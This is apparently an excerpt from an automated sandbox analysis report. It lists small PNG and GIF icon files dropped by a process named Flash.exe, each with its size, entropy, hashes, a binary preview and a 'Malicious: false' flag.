Preview:	.PNG........IHDR..............zZ.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:522F6411BFA111EBB130FBA57F971A2E" xmpMM:DocumentID="xmp.did:522F6412BFA111EBB130FBA57F971A2E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:522F640FBFA111EBB130FBA57F971A2E" stRef:documentID="xmp.did:522F6410BFA111EBB130FBA57F971A2E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>o`-...Y.IDATx...y...}.....E. Z.....{.?......\|.l0..e..n...6A.g....H..x...E..l!.0~v...(>.....ER...$.c.^\|l".n...s.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\status_icon_caution_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 30 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.013144075059566
Encrypted:	false
SSDEEP:	24:V1hiyWwjx82lY2T37VhHNztyJ3VhZgGHtDRU9ooeLEklzz0T017:7uNn2vr1cJ3rGsxRmetnp7
MD5:	56F804DB5509B1CF08BE5C994AFC2322
SHA1:	B00624287461E98B006FA8D17E233E6230C799A2
SHA-256:	C4768FC9A84B0D3ECDEEE93820703D769737B992EFD1F0CBE9F7A9D3BBDFA0FB
SHA-512:	F3E23E7A64040E033B4F915E432D1FD5577FC44D85DFD7D3DA6B136EA04DDF393AA94978AFFBDDEC6319EA6E65E27B90BF8B9B353CBD2B6FFEC9F9D304EBDB36
Malicious:	false
Preview:	.PNG........IHDR.............;0......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:1E241DAB600611E8B75BEC3544F04A16" xmpMM:DocumentID="xmp.did:1E241DAC600611E8B75BEC3544F04A16"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1E241DA9600611E8B75BEC3544F04A16" stRef:documentID="xmp.did:1E241DAA600611E8B75BEC3544F04A16"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.u......IDATx..V.KTQ......a..BA.U 9....A..Yh..M".-..b.H......-...u....O..T:.`...&...{..Ho.1.Y<...w..9.9.s...do".

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\status_icon_caution_125.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 30 x 27, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3838
Entropy (8bit):	7.91008458008801
Encrypted:	false
SSDEEP:	96:ySDZ/I09Da01l+gmkyTt6Hk8nTvxTQrgyZt:ySDS0tKg9E05TvlQ8yZt
MD5:	4A2BF8C96F910B1B2AE63A9F4A0D4B8F
SHA1:	D1665DF62B650FEB01035D5123D0BFC8EA75742C
SHA-256:	0CB2F4EE1C451A8825EB8EDB45858B28345F73423C7A7AEF4168C46F7E3638BF
SHA-512:	6E894AAB6239D6EC66E79EC156BC79AE12AC2D9DD877D00CEF760F9F278C99F0CB9816E64B6358206A8D2087DFA05B75DE7ACDB2AFD1563608298F645E32867C
Malicious:	false
Preview:	.PNG........IHDR.............k.?.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\status_icon_caution_150.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 36 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3942
Entropy (8bit):	7.915201742478639
Encrypted:	false
SSDEEP:	96:GSDZ/I09Da01l+gmkyTt6Hk8nTN7L3bPDoifR7b:GSDS0tKg9E05TpPsSb
MD5:	CA3872EAE64C5BFD8D41198990B11950
SHA1:	97221D798EF24E4B3384B254B17B7561901A9304
SHA-256:	3438623C461F8F141976A931D3C00F6877D07CF4A8B534AF1EF9FDFE8B0C6174
SHA-512:	1863BB97606D6157A98CEAAD6D043428913952B86D6B2C9B0C7AA85148DD40483CDC0D3BF430C681249652F1F8D785F23392829C700F862C89435F10046F9C20
Malicious:	false
Preview:	.PNG........IHDR...$... .....z......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\status_icon_caution_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2104
Entropy (8bit):	7.461113176973984
Encrypted:	false
SSDEEP:	48:JuNn2v0uJ3+EGhSvNUxcRAqod8GOsIu4LoN:Y2D6CG1qodlLN
MD5:	213238D4F6EFEC2B8CD0D76D318EBF8E
SHA1:	38ACE237863B4DDA1DDE1588A447DE3852037A03
SHA-256:	90B2DCFA026B942AF56635150A0E7A28FBF111C4790519B8F43EECE8EB287FB7
SHA-512:	E6C99E74A316B08919E47F77DC28BBF9C130AB5D4EBE28923AD12E98C78E22C846A97786250A63F8796E1CA32A1130F7A74680066BF1B03E09D8E22EB1DC8D4C
Malicious:	false
Preview:	.PNG........IHDR...<...<.....:..r....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:1DFD3429600611E89B1AECAEA567CFE3" xmpMM:DocumentID="xmp.did:1DFD342A600611E89B1AECAEA567CFE3"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1DFD3427600611E89B1AECAEA567CFE3" stRef:documentID="xmp.did:1DFD3428600611E89B1AECAEA567CFE3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..,N....IDATx..Z}lSU...}...Z.um... n..l.....D.$E$a...H.H.#j7.3.P._...P...&..&J........-#3 ..1e....u.....5.[..&

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\status_icon_check_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 30 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1433
Entropy (8bit):	6.942538722153922
Encrypted:	false
SSDEEP:	24:V1hiyWwjx82lY2T37VhZjyJ3VhyaGLr9bcPTyu8zNaZCMWXA3YJS:7uNn2vrkJ3r3edyTytN5MWXAGS
MD5:	0CF7106543A2E9A37F0E166CFB6BC47D
SHA1:	C634F02303A7C72D7CB516681E939CFDE08DA9E9
SHA-256:	5C697A4892D401547167893688702001CB09793AE690F1DEAAE58E107681B8F4
SHA-512:	2E5488B1055262DB8C0AEE3483B6A8C8B2E8DAFEDF92C0E3012263E385BD43A914C0DAF140AC21F33F964B0AA6E175C1358CAF59233ED39C9B345F4A6CE2BE87
Malicious:	false
Preview:	.PNG........IHDR.............;0......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:1EC43093600611E8AE1AB0321046D770" xmpMM:DocumentID="xmp.did:1EC43094600611E8AE1AB0321046D770"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1EC43091600611E8AE1AB0321046D770" stRef:documentID="xmp.did:1EC43092600611E8AE1AB0321046D770"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>4.......IDATx.b426ff....0@`..Q....,.4..O.~..303.0.e.SM..As.........,...I.....1._{{.W7.Z.M.....3.......(..?..rv..

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\status_icon_check_125.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 30 x 27, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3270
Entropy (8bit):	7.889166904606499
Encrypted:	false
SSDEEP:	96:ySDZ/I09Da01l+gmkyTt6Hk8nTyHtne3Ws:ySDS0tKg9E05TyZs
MD5:	CD14309BBB8F5AD698E3196BBFCA88B6
SHA1:	77ABAE837386F0BCE173F86156AE02FE62255876
SHA-256:	CF9AF9956E356D637E43A0B82C9328B13764ECD0BB3E3686A08AA2C2640A6C8B
SHA-512:	5F863CF9B696504E0193C56BBBBED240E2D6BD782BB15391B2EAE7B8137B12BBB9818966F8AC6048C1C490056C660D95AD16541C57492DC997B85BA459392634
Malicious:	false
Preview:	.PNG........IHDR.............k.?.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\status_icon_check_150.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 36 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3424
Entropy (8bit):	7.89764633408354
Encrypted:	false
SSDEEP:	96:GSDZ/I09Da01l+gmkyTt6Hk8nTirbKMa7pJdD:GSDS0tKg9E05TcteR
MD5:	AA02AB840568AD99107CDECE6621C3AC
SHA1:	5813000FF1348CF78C41E0B0B90387EF7FF8A83B
SHA-256:	8743B4FEBE9F3C99E1C5B647255E6367DDAC8580E1388FEAF78E0BC84FBB1776
SHA-512:	F3938E87EAA095EC69D814514176559C2B153C75802C12ADDDDBAEC67D476AEB6A6FD2066BE536265B28C36C8C0B5BFF940205F96C898861739D4E2EFF86A029
Malicious:	false
Preview:	.PNG........IHDR...$... .....z......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\status_icon_check_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1962
Entropy (8bit):	7.3909412915967385
Encrypted:	false
SSDEEP:	48:JuNn2vrWLJ3rlTT4ggFQQ2BJzM68n+W9jBxfvhcVhR:Y2iTP4vOJwV+Wff4R
MD5:	A0DBCF7418EA80BC290749AE99FC27C8
SHA1:	F3BB715B7CCCBD84CE0C1076E18CC10A9FE423F6
SHA-256:	4B5D76F716F5281F40A54A1B0F59953936172FD1F4198AEACE53799541E84C44
SHA-512:	DECE71D22124772304017ED9E292B362152D6D378001C116EAC8BB7E243463A6AFAC350933314B74F5C2A3FA9DC578F153690244C92DF8C582E90BF447164A7B
Malicious:	false
Preview:	.PNG........IHDR...<...<.....:..r....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:1E97EFCD600611E8A7DCF79BFC6F1D60" xmpMM:DocumentID="xmp.did:1E97EFCE600611E8A7DCF79BFC6F1D60"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1E97EFCB600611E8A7DCF79BFC6F1D60" stRef:documentID="xmp.did:1E97EFCC600611E8A7DCF79BFC6F1D60"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...>....IDATx...{HSQ....w[..=.w.-{iO%HI".s=...............A...O.T...D."..J..d......H..+n....]..nw..p.k.>...s.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\status_icon_x_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 30 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1524
Entropy (8bit):	7.092896279116209
Encrypted:	false
SSDEEP:	24:V1hiyWwjx82lY2T37Vh9rLyJ3Vhk18Gdqo/c3ODG8k2qHvQqZ2xf0:7uNn2vr9CJ3rBM/qODqtH4qZ2xs
MD5:	342913EB6644E7DFD68DC373DA8778EF
SHA1:	9D4C5465F029F714865A5DEFBC3C7935588AA706
SHA-256:	70040FB98ADE75A67C7E581417BA14E7ABD8BDDACF18719491915E8984890996
SHA-512:	A02AB64FFD1FD433D84A7CF5AD8A7377EDB911BC434E72B15EAC4CE14852EB506BD484CB484D923CA0B47E081368397F20D671FDBBD3D5FC21070A55C45FE9F3
Malicious:	false
Preview:	.PNG........IHDR.............;0......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:1E7265E1600611E8839EEB849AA2BED4" xmpMM:DocumentID="xmp.did:1E7265E2600611E8839EEB849AA2BED4"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1E7265DF600611E8839EEB849AA2BED4" stRef:documentID="xmp.did:1E7265E0600611E8839EEB849AA2BED4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>K......dIDATx.b426ff....0@`..Q.i.X.).s..........m...^#%.....g.c.?..........v......1....h.........g9.y....(.....

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\status_icon_x_125.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 30 x 27, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3356
Entropy (8bit):	7.899201293051617
Encrypted:	false
SSDEEP:	96:ySDZ/I09Da01l+gmkyTt6Hk8nT8a3vpTiM:ySDS0tKg9E05T8a3vEM
MD5:	B33C312C95B36E4A3B0F4984B9FE09F2
SHA1:	D41E2580ED7A0722E9941565F578EB05FE8DFAFA
SHA-256:	BA0D355243271CB79F5E3EAA3BCAA8BF9169C2E5B0B8E98C6E8418CF6F15AB9D
SHA-512:	CC3402171F5329C9B89385500CA35EF8DBF17BF01B2A6DF006D404CFCD4533166A8F856F9DE3E21CBFF771143A5029F5922FA13EFC4DC15B922C80BD24DF1AAF
Malicious:	false
Preview:	.PNG........IHDR.............k.?.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\status_icon_x_150.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 36 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3365
Entropy (8bit):	7.901512383605323
Encrypted:	false
SSDEEP:	96:GSDZ/I09Da01l+gmkyTt6Hk8nTgLQqSfKe:GSDS0tKg9E05TgL6Ke
MD5:	5CC222F110ED5839F910FBBA15F35368
SHA1:	9E99B854069795EFFDD033049CB93F9E431CC98F
SHA-256:	EEE6E710161A3AA8488FB4C1F118B43FA5C377ECDEDFFAAE78A81865F16CF288
SHA-512:	EFDBAD80A13988170B67E72D75AE444482A5CCDC16E23001CFCBC2C11FB127B953D2641621F0FC5964B9881AB2D0EF507E4131C433F90A08C110E810B8BFA112
Malicious:	false
Preview:	.PNG........IHDR...$... .....z......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\status_icon_x_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2142
Entropy (8bit):	7.502762509830087
Encrypted:	false
SSDEEP:	48:JuNn2vrabZJ3rt2HzboBgI8hLYUCYRmL958P2KANBX6U36/Qfe0B:Y2lwBgIqPqNnD36/Qfew
MD5:	40A32023DBFCCA1A80B69408735E15C2
SHA1:	34294F3FE135F20A5D53C0C934FDB55797C92F07
SHA-256:	D5A9BFE6D64F5C09F1DE3DCC74B30520DB5F78BCC6FC1E9A87EB141D9B46EA61
SHA-512:	3F6B5706E28C4EFC7DF90419DC9498101F9980ADD8371E9730A13B5153708A544D36BD85701E1CEF423A3B850A12B32528EC5563CC771D670146A3468AAFCF4C
Malicious:	false
Preview:	.PNG........IHDR...<...<.....:..r....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:1E4A6AEB600611E8B549CC47E23163F6" xmpMM:DocumentID="xmp.did:1E4A6AEC600611E8B549CC47E23163F6"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1E4A6AE9600611E8B549CC47E23163F6" stRef:documentID="xmp.did:1E4A6AEA600611E8B549CC47E23163F6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>9.f.....IDATx...l.e.....v..,W.,c4e.].4.&......`.1e!4....?.....!D.*.%.....F4.1......(u..@.hod....z.r^..];{]x/

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\transparent.gif Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Preview:	GIF89a.............!.......,...........D..;

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\unchecked0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1005
Entropy (8bit):	6.102875477974369
Encrypted:	false
SSDEEP:	24:U1hmYaWwjx82lY2T3XVaCyJ3VN/5GpZdsQmc:aMYLNn2DGJ3/BqsQL
MD5:	0BEEE3230AB1DE8EC7E52ACC28B31A02
SHA1:	C13902A39B5A559BEA6A39DB397614AB122EFB53
SHA-256:	BB5DF8D49261C94F63A1F1EDA745B9E262CEA57FCF1AEFB6BA9B0979D43014DC
SHA-512:	26EF86FA4F54C64D3CB3D579B0894B3A2E67F053F192EC269E4D356DD02423EE45DB3C458E8EE869EC9AD7A8F47CE918A3D7FD4032EE93B7CC9DE0DF58B58A86
Malicious:	false
